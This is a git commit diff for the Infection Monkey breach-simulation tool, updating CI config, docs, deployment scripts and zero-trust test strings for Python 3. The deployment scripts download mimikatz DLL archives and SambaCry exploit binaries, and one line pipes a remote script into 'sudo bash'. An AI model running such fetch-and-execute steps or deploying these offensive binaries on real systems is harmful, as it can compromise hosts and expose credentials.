Merge branch '393/python-3' into feature/refactor_fingerprinting
# Conflicts: # monkey/infection_monkey/monkey.py # monkey/infection_monkey/network/ping_scanner.py # monkey/infection_monkey/network/tcp_scanner.py
This commit is contained in:
commit
30f7d724b9
29
.travis.yml
29
.travis.yml
|
@ -1,23 +1,42 @@
|
|||
# Infection Monkey travis.yml. See Travis documentation for information about this file structure.
|
||||
|
||||
group: travis_latest
|
||||
|
||||
language: python
|
||||
|
||||
cache: pip
|
||||
|
||||
python:
|
||||
- 3.7
|
||||
|
||||
install:
|
||||
- pip install -r monkey/monkey_island/requirements.txt # for unit tests
|
||||
- pip install flake8 pytest dlint # for next stages
|
||||
- pip install -r monkey/infection_monkey/requirements_linux.txt # for unit tests
|
||||
|
||||
before_script:
|
||||
- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics # Check syntax errors
|
||||
- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics # warn about linter issues. --exit-zero
|
||||
# means this stage will not fail the build. This is (hopefully) a temporary measure until all warnings are suppressed.
|
||||
- python monkey/monkey_island/cc/set_server_config.py testing # Set the server config to `testing`, for the UTs to use
|
||||
# mongomaock and pass.
|
||||
# Check syntax errors and fail the build if any are found.
|
||||
- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
|
||||
|
||||
# Warn about linter issues.
|
||||
# --exit-zero forces Flake8 to use the exit status code 0 even if there are errors, which means this will NOT fail the build.
|
||||
# --count will print the total number of errors.
|
||||
# --statistics Count the number of occurrences of each error/warning code and print a report.
|
||||
# The output is redirected to a file.
|
||||
- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics > flake8_warnings.txt
|
||||
# Display the linter issues
|
||||
- cat flake8_warnings.txt
|
||||
# Make sure that we haven't increased the amount of warnings.
|
||||
- WARNINGS_AMOUNT_UPPER_LIMIT=190
|
||||
- if [ $(tail -n 1 flake8_warnings.txt) -gt $WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi
|
||||
|
||||
# Set the server config to `testing`, for the UTs to use mongomaock and pass.
|
||||
- python monkey/monkey_island/cc/set_server_config.py testing
|
||||
|
||||
script:
|
||||
- cd monkey # This is our source dir
|
||||
- python -m pytest # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path.
|
||||
|
||||
notifications:
|
||||
slack: # Notify to slack
|
||||
rooms:
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Hi there
|
||||
# Hi there 🐵
|
||||
|
||||
Thanks for your interest in making the Monkey -- and therefore, your network -- a better place!
|
||||
|
||||
|
@ -10,8 +10,13 @@ to reproduce. While we'll try to help anyway, focusing us will help us help you
|
|||
If you want to contribute new code or fix bugs, please read the following sections. You can also contact us (the
|
||||
maintainers of this project) at our [Slack channel](https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LTM2ZTg0ZDlmNWNlZjQ5NDI5NTM1NWJlYTRlMGIwY2VmZGMxZDlhMTE2OTYwYmZhZjM1MGZhZjA2ZjI4MzA1NDk).
|
||||
|
||||
## Submitting Issues
|
||||
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
|
||||
|
||||
## Submitting code
|
||||
You can look at [this issue](https://github.com/guardicore/monkey/issues/430) for an example.
|
||||
|
||||
## Submitting Code
|
||||
|
||||
The following is a *short* list of recommendations. PRs that don't match these criteria won't be closed but it'll be harder to merge the changes into the code.
|
||||
|
||||
|
@ -24,18 +29,23 @@ The following is a *short* list of recommendations. PRs that don't match these c
|
|||
|
||||
Also, please submit PRs to the `develop` branch.
|
||||
|
||||
#### Unit tests
|
||||
#### Unit Tests
|
||||
**Do** add unit tests if you think it fits. We place our unit tests in the same folder as the code, with the same
|
||||
filename, followed by the _test suffix. So for example: `somefile.py` will be tested by `somefile_test.py`.
|
||||
|
||||
Please try to read some of the existing unit testing code, so you can see some examples.
|
||||
|
||||
#### Branch naming scheme
|
||||
#### Branches Naming Scheme
|
||||
**Do** name your branches in accordance with GitFlow. The format is `ISSUE_#/BRANCH_NAME`; For example,
|
||||
`400/zero-trust-mvp` or `232/improvment/hide-linux-on-cred-maps`.
|
||||
|
||||
## Issues
|
||||
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
|
||||
#### Continuous Integration
|
||||
We use [TravisCI](https://travis-ci.com/guardicore/monkey) for automatically checking the correctness and quality of submitted
|
||||
pull requests. If your build fails, it might be because of one of the following reasons:
|
||||
* Syntax errors.
|
||||
* Failing Unit Tests.
|
||||
* Too many linter warnings.
|
||||
|
||||
Thank you for reading this before opening an issue or a PR, you've already doing good!
|
||||
In any of these cases, you can look for the cause of the failure in the _job log_ in your TravisCI build.
|
||||
|
||||
#### Thank you for reading this before opening an issue or a PR, you're already doing good!
|
||||
|
|
26
README.md
26
README.md
|
@ -1,31 +1,27 @@
|
|||
Infection Monkey
|
||||
====================
|
||||
# Infection Monkey
|
||||
[![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=develop)](https://travis-ci.com/guardicore/monkey)
|
||||
[![GitHub release (latest by date)](https://img.shields.io/github/v/release/guardicore/monkey)](https://github.com/guardicore/monkey/releases)
|
||||
![GitHub stars](https://img.shields.io/github/stars/guardicore/monkey)
|
||||
![GitHub commit activity](https://img.shields.io/github/commit-activity/m/guardicore/monkey)
|
||||
|
||||
## Data center Security Testing Tool
|
||||
------------------------
|
||||
|
||||
Welcome to the Infection Monkey!
|
||||
|
||||
The Infection Monkey is an open source security tool for testing a data center's resiliency to perimeter breaches and internal server infection. The Monkey uses various methods to self propagate across a data center and reports success to a centralized Monkey Island server.
|
||||
|
||||
|
||||
<img src=".github/map-full.png" >
|
||||
|
||||
<img src=".github/Security-overview.png" width="800" height="500">
|
||||
|
||||
|
||||
The Infection Monkey is comprised of two parts:
|
||||
* Monkey - A tool which infects other machines and propagates to them
|
||||
* Monkey Island - A dedicated server to control and visualize the Infection Monkey's progress inside the data center
|
||||
|
||||
To read more about the Monkey, visit http://infectionmonkey.com
|
||||
|
||||
Main Features
|
||||
---------------
|
||||
|
||||
## Main Features
|
||||
The Infection Monkey uses the following techniques and exploits to propagate to other machines.
|
||||
|
||||
* Multiple propagation techniques:
|
||||
|
@ -41,15 +37,13 @@ The Infection Monkey uses the following techniques and exploits to propagate to
|
|||
* SambaCry
|
||||
* Elastic Search (CVE-2015-1427)
|
||||
|
||||
Setup
|
||||
-------------------------------
|
||||
## Setup
|
||||
Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/).
|
||||
|
||||
The Infection Monkey supports a variety of platforms, documented [in the wiki](https://github.com/guardicore/monkey/wiki/OS-compatibility).
|
||||
|
||||
|
||||
Building the Monkey from source
|
||||
-------------------------------
|
||||
## Building the Monkey from source
|
||||
To deploy development version of monkey you should refer to readme in the [deployment scripts](deployment_scripts) folder.
|
||||
If you only want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself)
|
||||
and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island).
|
||||
|
@ -61,8 +55,14 @@ and follow the instructions at the readme files under [infection_monkey](infecti
|
|||
| Develop | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=develop)](https://travis-ci.com/guardicore/monkey) |
|
||||
| Master | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=master)](https://travis-ci.com/guardicore/monkey) |
|
||||
|
||||
License
|
||||
=======
|
||||
## Tests
|
||||
### Unit Tests
|
||||
In order to run all of the Unit Tests, run the command `python -m pytest` in the `monkey` directory.
|
||||
|
||||
### Blackbox tests
|
||||
In order to run the Blackbox tests, refer to `envs/monkey_zoo/blackbox/README.md`.
|
||||
|
||||
# License
|
||||
Copyright (c) Guardicore Ltd
|
||||
|
||||
See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3).
|
||||
|
|
|
@ -13,10 +13,11 @@ Don't forget to add python to PATH or do so while installing it via this script.
|
|||
|
||||
## Linux
|
||||
|
||||
Linux deployment script is meant for Ubuntu 16.x machines.
|
||||
You must have root permissions, but don't run the script as root.<br>
|
||||
Launch deploy_linux.sh from scripts directory.<br>
|
||||
First argument should be an empty directory (script can create one, default is ./infection_monkey) and second is the branch you want to clone (develop by default).
|
||||
Choose a directory where you have all the relevant permissions, for e.g. /home/your_username
|
||||
First argument should be an absolute path of an empty directory (script will create one if doesn't exist, default is ./infection_monkey).
|
||||
Second parameter is the branch you want to clone (develop by default).
|
||||
Example usages:<br>
|
||||
./deploy_linux.sh (deploys under ./infection_monkey)<br>
|
||||
./deploy_linux.sh "/home/test/monkey" (deploys under /home/test/monkey)<br>
|
||||
|
|
|
@ -14,6 +14,12 @@ WINDOWS_32_BINARY_NAME="monkey-windows-32.exe"
|
|||
WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe"
|
||||
WINDOWS_64_BINARY_NAME="monkey-windows-64.exe"
|
||||
|
||||
# Other binaries for monkey
|
||||
TRACEROUTE_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/traceroute64"
|
||||
TRACEROUTE_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/traceroute32"
|
||||
SAMBACRY_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner64.so"
|
||||
SAMBACRY_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner32.so"
|
||||
|
||||
# Mongo url's
|
||||
MONGO_DEBIAN_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz"
|
||||
MONGO_UBUNTU_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz"
|
||||
|
|
|
@ -3,7 +3,7 @@ $MONKEY_FOLDER_NAME = "infection_monkey"
|
|||
# Url of public git repository that contains monkey's source code
|
||||
$MONKEY_GIT_URL = "https://github.com/guardicore/monkey"
|
||||
# Link to the latest python download or install it manually
|
||||
$PYTHON_URL = "https://www.python.org/ftp/python/2.7.13/python-2.7.13.amd64.msi"
|
||||
$PYTHON_URL = "https://www.python.org/ftp/python/3.7.4/python-3.7.4-amd64.exe"
|
||||
|
||||
# Monkey binaries
|
||||
$LINUX_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32"
|
||||
|
@ -22,27 +22,25 @@ $SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
|
|||
# Other directories and paths ( most likely you dont need to configure)
|
||||
$MONKEY_ISLAND_DIR = "\monkey\monkey_island"
|
||||
$MONKEY_DIR = "\monkey\infection_monkey"
|
||||
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\exploit\sambacry_monkey_runner"
|
||||
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\bin"
|
||||
$PYTHON_DLL = "C:\Windows\System32\python27.dll"
|
||||
$MK32_DLL = "mk32.dll"
|
||||
$MK64_DLL = "mk64.dll"
|
||||
$TEMP_PYTHON_INSTALLER = ".\python.msi"
|
||||
$MK32_DLL = "mk32.zip"
|
||||
$MK64_DLL = "mk64.zip"
|
||||
$TEMP_PYTHON_INSTALLER = ".\python.exe"
|
||||
$TEMP_MONGODB_ZIP = ".\mongodb.zip"
|
||||
$TEMP_OPEN_SSL_ZIP = ".\openssl.zip"
|
||||
$TEMP_CPP_INSTALLER = "cpp.exe"
|
||||
$TEMP_NPM_INSTALLER = "node.msi"
|
||||
$TEMP_PYWIN32_INSTALLER = "pywin32.exe"
|
||||
$TEMP_UPX_ZIP = "upx.zip"
|
||||
$TEMP_VC_FOR_PYTHON27_INSTALLER = "vcforpython.msi"
|
||||
$UPX_FOLDER = "upx394w"
|
||||
|
||||
# Other url's
|
||||
$VC_FOR_PYTHON27_URL = "https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28-B59FBF6D907B/VCForPython27.msi"
|
||||
$MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip"
|
||||
$OPEN_SSL_URL = "https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip"
|
||||
$CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572"
|
||||
$NPM_URL = "https://nodejs.org/dist/v10.13.0/node-v10.13.0-x64.msi"
|
||||
$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b224/pywin32-224.win-amd64-py2.7.exe"
|
||||
$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b225/pywin32-225.win-amd64-py3.7.exe"
|
||||
$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.zip"
|
||||
$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.zip"
|
||||
$UPX_URL = "https://github.com/upx/upx/releases/download/v3.94/upx394w.zip"
|
||||
$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.dll"
|
||||
$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.dll"
|
||||
|
|
|
@ -11,9 +11,9 @@ fi
|
|||
ISLAND_PATH="$monkey_home/monkey/monkey_island"
|
||||
MONKEY_COMMON_PATH="$monkey_home/monkey/common/"
|
||||
MONGO_PATH="$ISLAND_PATH/bin/mongodb"
|
||||
MONGO_BIN_PATH="$MONGO_PATH/bin"
|
||||
ISLAND_DB_PATH="$ISLAND_PATH/db"
|
||||
ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries"
|
||||
INFECTION_MONKEY_DIR="$monkey_home/monkey/infection_monkey"
|
||||
MONKEY_BIN_DIR="$INFECTION_MONKEY_DIR/bin"
|
||||
|
||||
handle_error () {
|
||||
echo "Fix the errors above and rerun the script"
|
||||
|
@ -52,25 +52,47 @@ fi
|
|||
|
||||
# Create folders
|
||||
log_message "Creating island dirs under $ISLAND_PATH"
|
||||
mkdir -p ${MONGO_BIN_PATH}
|
||||
mkdir -p ${ISLAND_DB_PATH}
|
||||
mkdir -p ${MONGO_PATH}
|
||||
mkdir -p ${ISLAND_BINARIES_PATH} || handle_error
|
||||
|
||||
python_version=`python --version 2>&1`
|
||||
if [[ ${python_version} == *"command not found"* ]] || [[ ${python_version} != *"Python 2.7"* ]]; then
|
||||
echo "Python 2.7 is not found or is not a default interpreter for 'python' command..."
|
||||
exit 1
|
||||
# Detecting command that calls python 3.7
|
||||
python_cmd=""
|
||||
if [[ `python --version 2>&1` == *"Python 3.7"* ]]; then
|
||||
python_cmd="python"
|
||||
fi
|
||||
if [[ `python37 --version 2>&1` == *"Python 3.7"* ]]; then
|
||||
python_cmd="python37"
|
||||
fi
|
||||
if [[ `python3.7 --version 2>&1` == *"Python 3.7"* ]]; then
|
||||
python_cmd="python3.7"
|
||||
fi
|
||||
|
||||
if [[ ${python_cmd} == "" ]]; then
|
||||
log_message "Python 3.7 command not found. Installing python 3.7."
|
||||
sudo add-apt-repository ppa:deadsnakes/ppa
|
||||
sudo apt install python3.7
|
||||
log_message "Python 3.7 is now available with command 'python3.7'."
|
||||
python_cmd="python3.7"
|
||||
fi
|
||||
|
||||
log_message "Updating package list"
|
||||
sudo apt-get update
|
||||
|
||||
log_message "Installing pip"
|
||||
sudo apt-get install python-pip
|
||||
sudo apt install python3-pip
|
||||
${python_cmd} -m pip install pip
|
||||
|
||||
log_message "Install python3.7-dev"
|
||||
sudo apt-get install python3.7-dev
|
||||
|
||||
log_message "Installing island requirements"
|
||||
requirements="$ISLAND_PATH/requirements.txt"
|
||||
python -m pip install --user -r ${requirements} || handle_error
|
||||
${python_cmd} -m pip install --user --upgrade -r ${requirements} || handle_error
|
||||
|
||||
log_message "Installing monkey requirements"
|
||||
sudo apt-get install libffi-dev upx libssl-dev libc++1
|
||||
cd ${monkey_home}/monkey/infection_monkey || handle_error
|
||||
${python_cmd} -m pip install -r requirements_linux.txt --user --upgrade || handle_error
|
||||
|
||||
# Download binaries
|
||||
log_message "Downloading binaries"
|
||||
|
@ -89,49 +111,42 @@ linux_dist=`lsb_release -a 2> /dev/null`
|
|||
|
||||
# If a user haven't installed mongo manually check if we can install it with our script
|
||||
log_message "Installing MongoDB"
|
||||
${ISLAND_PATH}/linux/install_mongo.sh ${MONGO_BIN_PATH} || handle_error
|
||||
${ISLAND_PATH}/linux/install_mongo.sh ${MONGO_PATH} || handle_error
|
||||
|
||||
log_message "Installing openssl"
|
||||
sudo apt-get install openssl
|
||||
|
||||
# Generate SSL certificate
|
||||
log_message "Generating certificate"
|
||||
cd ${ISLAND_PATH} || handle_error
|
||||
openssl genrsa -out cc/server.key 1024 || handle_error
|
||||
openssl req -new -key cc/server.key -out cc/server.csr \
|
||||
-subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" || handle_error
|
||||
openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt || handle_error
|
||||
|
||||
|
||||
sudo chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error
|
||||
${ISLAND_PATH}/linux/create_certificate.sh || handle_error
|
||||
|
||||
# Install npm
|
||||
log_message "Installing npm"
|
||||
sudo apt-get install npm
|
||||
cd ${ISLAND_PATH}
|
||||
openssl genrsa -out cc/server.key 2048
|
||||
openssl req -new -key cc/server.key -out cc/server.csr -subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com"
|
||||
openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt
|
||||
|
||||
# Update node
|
||||
log_message "Updating node"
|
||||
curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash -
|
||||
log_message "Installing nodejs"
|
||||
cd "$ISLAND_PATH/cc/ui" || handle_error
|
||||
curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -
|
||||
sudo apt-get install -y nodejs
|
||||
npm install sass-loader node-sass webpack --save-dev
|
||||
npm update
|
||||
|
||||
log_message "Generating front end"
|
||||
cd "$ISLAND_PATH/cc/ui" || handle_error
|
||||
npm update
|
||||
npm run dist
|
||||
|
||||
# Monkey setup
|
||||
log_message "Installing monkey requirements"
|
||||
sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
|
||||
cd ${monkey_home}/monkey/infection_monkey || handle_error
|
||||
python -m pip install --user -r requirements_linux.txt || handle_error
|
||||
# Making dir for binaries
|
||||
mkdir ${MONKEY_BIN_DIR}
|
||||
|
||||
# Download sambacry binaries
|
||||
log_message "Downloading sambacry binaries"
|
||||
wget -c -N -P ${MONKEY_BIN_DIR} ${SAMBACRY_64_BINARY_URL}
|
||||
wget -c -N -P ${MONKEY_BIN_DIR} ${SAMBACRY_32_BINARY_URL}
|
||||
|
||||
# Download traceroute binaries
|
||||
log_message "Downloading traceroute binaries"
|
||||
wget -c -N -P ${MONKEY_BIN_DIR} ${TRACEROUTE_64_BINARY_URL}
|
||||
wget -c -N -P ${MONKEY_BIN_DIR} ${TRACEROUTE_32_BINARY_URL}
|
||||
|
||||
# Build samba
|
||||
log_message "Building samba binaries"
|
||||
sudo apt-get install gcc-multilib
|
||||
cd ${monkey_home}/monkey/infection_monkey/exploit/sambacry_monkey_runner
|
||||
sudo chmod +x ./build.sh || handle_error
|
||||
./build.sh
|
||||
|
||||
sudo chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh
|
||||
|
||||
|
|
|
@ -44,39 +44,28 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
|
|||
try
|
||||
{
|
||||
$version = cmd.exe /c '"python" --version 2>&1'
|
||||
if ( $version -like 'Python 2.7.*' ) {
|
||||
"Python 2.7.* was found, installing dependancies"
|
||||
if ( $version -like 'Python 3.*' ) {
|
||||
"Python 3.* was found, installing dependencies"
|
||||
} else {
|
||||
throw System.Management.Automation.CommandNotFoundException
|
||||
}
|
||||
}
|
||||
catch [System.Management.Automation.CommandNotFoundException]
|
||||
{
|
||||
"Downloading python 2.7 ..."
|
||||
"Downloading python 3 ..."
|
||||
"Select 'add to PATH' when installing"
|
||||
$webClient.DownloadFile($PYTHON_URL, $TEMP_PYTHON_INSTALLER)
|
||||
Start-Process -Wait $TEMP_PYTHON_INSTALLER -ErrorAction Stop
|
||||
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
|
||||
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine") + ";" + [System.Environment]::GetEnvironmentVariable("Path","User")
|
||||
Remove-Item $TEMP_PYTHON_INSTALLER
|
||||
# Check if installed correctly
|
||||
$version = cmd.exe /c '"python" --version 2>&1'
|
||||
if ( $version -like '* is not recognized*' ) {
|
||||
"Python is not found in PATH. Add it manually or reinstall python."
|
||||
"Python is not found in PATH. Add it to PATH and relaunch the script."
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
# Set python home dir
|
||||
$PYTHON_PATH = Split-Path -Path (Get-Command python | Select-Object -ExpandProperty Source)
|
||||
|
||||
# Get vcforpython27 before installing requirements
|
||||
"Downloading Visual C++ Compiler for Python 2.7 ..."
|
||||
$webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER)
|
||||
Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop
|
||||
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
|
||||
Remove-Item $TEMP_VC_FOR_PYTHON27_INSTALLER
|
||||
|
||||
# Install requirements for island
|
||||
$islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop
|
||||
"Upgrading pip..."
|
||||
$output = cmd.exe /c 'python -m pip install --user --upgrade pip 2>&1'
|
||||
$output
|
||||
|
@ -84,11 +73,22 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
|
|||
"Make sure pip module is installed and re-run this script."
|
||||
return
|
||||
}
|
||||
|
||||
"Installing python packages for island"
|
||||
$islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop
|
||||
& python -m pip install --user -r $islandRequirements
|
||||
# Install requirements for monkey
|
||||
"Installing python packages for monkey"
|
||||
$monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements_windows.txt"
|
||||
& python -m pip install --user -r $monkeyRequirements
|
||||
|
||||
$user_python_dir = cmd.exe /c 'py -m site --user-site'
|
||||
$user_python_dir = Join-Path (Split-Path $user_python_dir) -ChildPath "\Scripts"
|
||||
if(!($ENV:PATH | Select-String -SimpleMatch $user_python_dir)){
|
||||
"Adding python scripts path to user's env"
|
||||
$env:Path += ";"+$user_python_dir
|
||||
[Environment]::SetEnvironmentVariable("Path",$env:Path,"User")
|
||||
}
|
||||
|
||||
# Download mongodb
|
||||
if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "mongodb") )){
|
||||
"Downloading mongodb ..."
|
||||
|
|
|
@ -23,7 +23,6 @@ class BasicTest(object):
|
|||
self.log_handler = log_handler
|
||||
|
||||
def run(self):
|
||||
LOGGER.info("Uploading configuration:\n{}".format(json.dumps(self.config_parser.config_json, indent=2)))
|
||||
self.island_client.import_config(self.config_parser.config_raw)
|
||||
self.print_test_starting_info()
|
||||
try:
|
||||
|
|
|
@ -4,14 +4,12 @@ import urllib.request
|
|||
import urllib.error
|
||||
import logging
|
||||
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS = "169.254.169.254"
|
||||
AWS_LATEST_METADATA_URI_PREFIX = 'http://{0}/latest/'.format(AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS)
|
||||
ACCOUNT_ID_KEY = "accountId"
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
|
@ -29,8 +27,8 @@ class AwsInstance(object):
|
|||
self.instance_id = urllib.request.urlopen(
|
||||
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read().decode()
|
||||
self.region = self._parse_region(
|
||||
urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read().
|
||||
decode())
|
||||
urllib.request.urlopen(
|
||||
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read().decode())
|
||||
except (urllib.error.URLError, IOError) as e:
|
||||
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e))
|
||||
|
||||
|
|
|
@ -14,7 +14,6 @@ COMPUTER_NAME_KEY = 'ComputerName'
|
|||
PLATFORM_TYPE_KEY = 'PlatformType'
|
||||
IP_ADDRESS_KEY = 'IPAddress'
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
|
|
|
@ -3,7 +3,6 @@ from .aws_service import filter_instance_data_from_aws_response
|
|||
|
||||
import json
|
||||
|
||||
|
||||
__author__ = 'shay.nehmad'
|
||||
|
||||
|
||||
|
|
|
@ -1,6 +1,5 @@
|
|||
from common.cmd.cmd_result import CmdResult
|
||||
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
||||
|
|
|
@ -1,2 +1,3 @@
|
|||
from .zero_trust_consts import populate_mappings
|
||||
|
||||
populate_mappings()
|
||||
|
|
|
@ -1,2 +1 @@
|
|||
ES_SERVICE = 'elastic-search-9200'
|
||||
|
||||
|
|
|
@ -68,7 +68,8 @@ FINDING_EXPLANATION_BY_STATUS_KEY = "finding_explanation"
|
|||
TEST_EXPLANATION_KEY = "explanation"
|
||||
TESTS_MAP = {
|
||||
TEST_SEGMENTATION: {
|
||||
TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.",
|
||||
TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's "
|
||||
"running on, that belong to different network segments.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.",
|
||||
STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs."
|
||||
|
@ -78,7 +79,8 @@ TESTS_MAP = {
|
|||
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED]
|
||||
},
|
||||
TEST_MALICIOUS_ACTIVITY_TIMELINE: {
|
||||
TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.",
|
||||
TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting "
|
||||
"exploitation.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts."
|
||||
},
|
||||
|
@ -89,8 +91,10 @@ TESTS_MAP = {
|
|||
TEST_ENDPOINT_SECURITY_EXISTS: {
|
||||
TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an endpoint security software.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.",
|
||||
STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern."
|
||||
STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus "
|
||||
"software on endpoints.",
|
||||
STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a "
|
||||
"security concern. "
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
|
||||
PILLARS_KEY: [DEVICES],
|
||||
|
@ -99,7 +103,8 @@ TESTS_MAP = {
|
|||
TEST_MACHINE_EXPLOITED: {
|
||||
TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to breach them and propagate in the network.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.",
|
||||
STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see "
|
||||
"which endpoints were compromised.",
|
||||
STATUS_PASSED: "Monkey didn't manage to exploit an endpoint."
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
|
||||
|
@ -109,7 +114,8 @@ TESTS_MAP = {
|
|||
TEST_SCHEDULED_EXECUTION: {
|
||||
TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.",
|
||||
STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security "
|
||||
"software.",
|
||||
STATUS_PASSED: "Monkey failed to execute in a scheduled manner."
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR,
|
||||
|
@ -120,7 +126,8 @@ TESTS_MAP = {
|
|||
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to ElasticSearch instances.",
|
||||
